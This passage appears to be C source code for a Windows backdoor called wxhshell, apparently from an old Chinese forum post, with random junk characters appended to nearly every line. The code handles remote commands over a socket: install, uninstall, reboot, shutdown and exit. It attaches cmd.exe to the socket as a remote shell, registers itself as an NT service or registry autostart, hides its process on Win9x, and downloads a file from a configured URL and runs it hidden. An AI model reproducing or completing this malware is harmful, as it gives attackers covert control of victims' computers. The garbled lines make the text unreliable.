  // 帮助 htaB! Q?V  
  case '?': { k,r\^1h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MW p^.  
    break; M?_VYK  
  } 03MB,  
  // 安装 ZXco5,1  
  case 'i': { k -SUp8}g  
    if(Install()) Dr;@)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w}'E]y2.  
    else xQN](OKG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |h.he_B+7  
    break; XpM#0hm  
    } `+<5QtD  
  // 卸载 pdE=9l'  
  case 'r': { kJ~^  }o  
    if(Uninstall()) MOj 0"x)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gm*i='f!?  
    else sI~{it#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HMBxj($eR  
    break; VQX#P<  
    } 6OVAsmE  
  // 显示 wxhshell 所在路径 $ @^n3ZQ4  
  case 'p': { %DiZ&}^Ck  
    char svExeFile[MAX_PATH]; %N!Y}$y  
    strcpy(svExeFile,"\n\r"); iJq}tIk#2'  
      strcat(svExeFile,ExeFile); #fa~^]EM]  
        send(wsh,svExeFile,strlen(svExeFile),0); gP<l  
    break; Q tRKmry{  
    } T IS}'c'C  
  // 重启 w{0UA6+  
  case 'b': { ;VvqKyUh7`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #j@Su )+  
    if(Boot(REBOOT)) 0|d%@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qwnC{  
    else { 9#1lxT4%  
    closesocket(wsh); cP(/+ /9  
    ExitThread(0); BM:je(*p  
    } o\2#o5#  
    break; ];IUiS1  
    } KSLyU1W  
  // 关机 p#3P`I>ZrT  
  case 'd': { lGs fs(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %[RLc[pB  
    if(Boot(SHUTDOWN)) pTcm2-J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wJ+"JQY.J+  
    else { TVKuvKH8U  
    closesocket(wsh); 5 J 0  
    ExitThread(0); [ h%ci3  
    } *!Xhy87%Z)  
    break; iX~V(~v  
    } O"Ar3>   
  // 获取shell 0e3 aWn  
  case 's': { C#(4>'  
    CmdShell(wsh); V" I+E  
    closesocket(wsh); W<kJ%42^j  
    ExitThread(0); Al 0zL  
    break; 3pm;?6i6  
  } X1$0'u sS  
  // 退出 :eDwkzlHH  
  case 'x': { H+-9R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pi+m`O   
    CloseIt(wsh); BLfoU_Z  
    break; J5IQ  
    } 2E;*kKw[  
  // 离开 2T iUo(MK  
  case 'q': { =eYrz@,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aA=qel  
    closesocket(wsh); "]`!#5j^WP  
    WSACleanup(); <1V!-D4xu  
    exit(1); y&B~UeB:q  
    break; i9W@$I,f  
        } a&|aK+^8;  
  } 6EJ,czt(  
  } Q;SMwCB0M  
HJM-;C](  
  // 提示信息 ]*Zg(YA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jF{zcYU  
} Z&YW9de@  
  } u|APx8?"o  
N }Z"$4  
  return; {B uh5U,  
} )9J&M6LX  
'Aai.PE:  
// shell模块句柄 YWjw`,EA(  
int CmdShell(SOCKET sock) $Y 7q2  
{ < JA5.6<=  
STARTUPINFO si; \,lgv  
ZeroMemory(&si,sizeof(si)); ;L++H5Kz6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Kp8!^os  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;E(%s=i  
PROCESS_INFORMATION ProcessInfo; <Sb W QbN  
char cmdline[]="cmd"; $D\SueZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G5?Dt-;I  
  return 0; wSnY;Z9W_  
} 4w\cS&X~C  
(+(YO\ng6  
// 自身启动模式 ,J~kwJ$L  
int StartFromService(void) cl30"WK!  
{ td&W>(3d  
typedef struct ~M2w&g;1  
{ z^O>'9#  
  DWORD ExitStatus; jv?`9{-  
  DWORD PebBaseAddress; T)qD}hl  
  DWORD AffinityMask; ~~]L!P  
  DWORD BasePriority; PL[7|_%  
  ULONG UniqueProcessId; 1\TXb!OtL  
  ULONG InheritedFromUniqueProcessId; kuqf(  
}   PROCESS_BASIC_INFORMATION; RL SP?o2J  
+m]$P,yMt  
PROCNTQSIP NtQueryInformationProcess; St^s"A  
(s z=IB ;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F2:?lmhL<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?(n|ykXwc  
la[xbv   
  HANDLE             hProcess; [0w @0?[  
  PROCESS_BASIC_INFORMATION pbi; `c ^2  
}L3kpw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N{ @B@]  
  if(NULL == hInst ) return 0; D<]z.33  
-P^ 6b(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nPD5/xW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rB~x]5TH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6$lj$8\  
4&2aJ_ 2 y  
  if (!NtQueryInformationProcess) return 0; &+u) +<&;(  
*am.NH\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F$N"&<[c  
  if(!hProcess) return 0; :)SLi  
0j F~cV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !g-|@W  
%tT&/F  
  CloseHandle(hProcess); 5^~%10=  
|x3.r t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Gcna:w>6d  
if(hProcess==NULL) return 0; qe8dpI;  
OEnJ".&V  
HMODULE hMod; : 2Ho  
char procName[255]; TW8E^k7  
unsigned long cbNeeded; %XM wjBM  
9s8B>(L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); prV:Kq;O  
nb9qVuAGU  
  CloseHandle(hProcess); `BG{\3>  
JBo/<W#|  
if(strstr(procName,"services")) return 1; // 以服务启动 rhGHR5 g  
|[7xTD  
  return 0; // 注册表启动 ,b%T[s7  
} llXyM */  
s_}T -%\  
// 主模块 ,|,DXw  
int StartWxhshell(LPSTR lpCmdLine) uW3`gwwlU  
{ 3Sv<Viuo  
  SOCKET wsl; &'uFy0d,  
BOOL val=TRUE; Pwn"!pk  
  int port=0; 5*l~7R  
  struct sockaddr_in door; (,#Rj$W  
vr+O)/P})  
  if(wscfg.ws_autoins) Install(); nw){}g  
BWamF{\d1a  
port=atoi(lpCmdLine); O]o `! c  
B{^o}:e  
if(port<=0) port=wscfg.ws_port; HS =qK  
l8/ tR  
  WSADATA data; 2| $  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mf ^=tZ  
B`3RyM"J@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :Y`cgi0vkd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ![YLY&}s  
  door.sin_family = AF_INET; tt2`N3Eu\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); { K'QE0'x  
  door.sin_port = htons(port); xL,Lb}){%  
^R',P(@oL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -]\cUQ0  
closesocket(wsl); (\}>+qS[  
return 1; ^|M\vO  
} -`x$a&}  
>bWx!M]  
  if(listen(wsl,2) == INVALID_SOCKET) { {1,]8!HBJ  
closesocket(wsl); !VUxy  
return 1; pCS2sq8RC  
} {_t i*#  
  Wxhshell(wsl); *u^N_y  
  WSACleanup(); L5=Tj4`  
{KYbsD  
return 0; m`l3@ Z  
,y@`wq>O  
} >Ng7q?h   
^_BHgbS%;  
// 以NT服务方式启动 JfS:K'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )y&}c7xW  
{ &"]Uh   
DWORD   status = 0; !4cO]wh5  
  DWORD   specificError = 0xfffffff; 69AgPAv<k  
y1z<{'2x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T|dQY~n~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +`4`OVE_#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ""Nu["|E  
  serviceStatus.dwWin32ExitCode     = 0; U+gOojRy{  
  serviceStatus.dwServiceSpecificExitCode = 0; ,&[2z!  
  serviceStatus.dwCheckPoint       = 0; d:jD  
  serviceStatus.dwWaitHint       = 0;  yG -1g0  
eq +t%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $ K1 /^  
  if (hServiceStatusHandle==0) return; vcTWe$;Q  
q y"VrR  
status = GetLastError(); h$7rEs  
  if (status!=NO_ERROR) oxT..=-  
{ h >V8YJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iy_'D  
    serviceStatus.dwCheckPoint       = 0; #n&/yYl9(l  
    serviceStatus.dwWaitHint       = 0; 6z3 Yq{1  
    serviceStatus.dwWin32ExitCode     = status; ma@3BiM  
    serviceStatus.dwServiceSpecificExitCode = specificError; dXR 70/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .zxP,]"l  
    return; aVsA5t\zi  
  } ip6$Z3[)  
RSEo'2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _): V7Zv  
  serviceStatus.dwCheckPoint       = 0; Pl(+&k`}  
  serviceStatus.dwWaitHint       = 0; n46A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [C 1o9c!  
} +mP&B<=H)  
mv9k_7<  
// 处理NT服务事件,比如:启动、停止 YYfX@`\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S0?4}7`A  
{ pGEYke NU  
switch(fdwControl) ,Y 1&[  
{ ` QC  
case SERVICE_CONTROL_STOP: pUtd_8  
  serviceStatus.dwWin32ExitCode = 0; *PQu9>1w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v,z s dr"d  
  serviceStatus.dwCheckPoint   = 0; 0IU>KGJ-0s  
  serviceStatus.dwWaitHint     = 0; PAG.],"D  
  { 0 ?kaXD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wc z|Zy  
  } h&Thq52R  
  return; |tL57Wu93  
case SERVICE_CONTROL_PAUSE: tj:3R$a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H}G=%j0  
  break; =*EIe z*.x  
case SERVICE_CONTROL_CONTINUE: 242dT/j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z~tCag8I(k  
  break; *=UxX ] 0y  
case SERVICE_CONTROL_INTERROGATE: Pp-\#WJ  
  break; ie4keVlXc  
}; f4.k%|]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lR] z8 &  
} g$C-G5/bjD  
D5]4(]k&  
// 标准应用程序主函数 c32IO&W4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .Cv0Ze  
{ S;a'@5  
%JmRJpCvR  
// 获取操作系统版本 _ 4:@+{  
OsIsNt=GetOsVer(); QP/6N9/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [^wEKRt&  
fBCW/<Z  
  // 从命令行安装 E({+2}=1  
  if(strpbrk(lpCmdLine,"iI")) Install(); u 6&<Bv  
r(sQI# P  
  // 下载执行文件 "-aak )7w  
if(wscfg.ws_downexe) { jwsl"zL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w`Q"mx*  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0Y rdu,c  
} ^`b&fb v  
aq-`Bar  
if(!OsIsNt) { @\-i3EhR  
// 如果时win9x,隐藏进程并且设置为注册表启动 HSq.0vYl6  
HideProc(); Z4YQ5O5  
StartWxhshell(lpCmdLine); zJ;K4)"j  
} \QF\Bh  
else $Pa7B]A,Ae  
  if(StartFromService()) uK6_HvHuy  
  // 以服务方式启动 3f'dBn5  
  StartServiceCtrlDispatcher(DispatchTable); 3$Ecq|4J:  
else $*)??uU  
  // 普通方式启动 ^qNh)?V?]I  
  StartWxhshell(lpCmdLine); w k1O*_76  
!eb} jL  
return 0; P'o:Vhm_H  
}
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只看该作者 1 发表于: 2006-10-10
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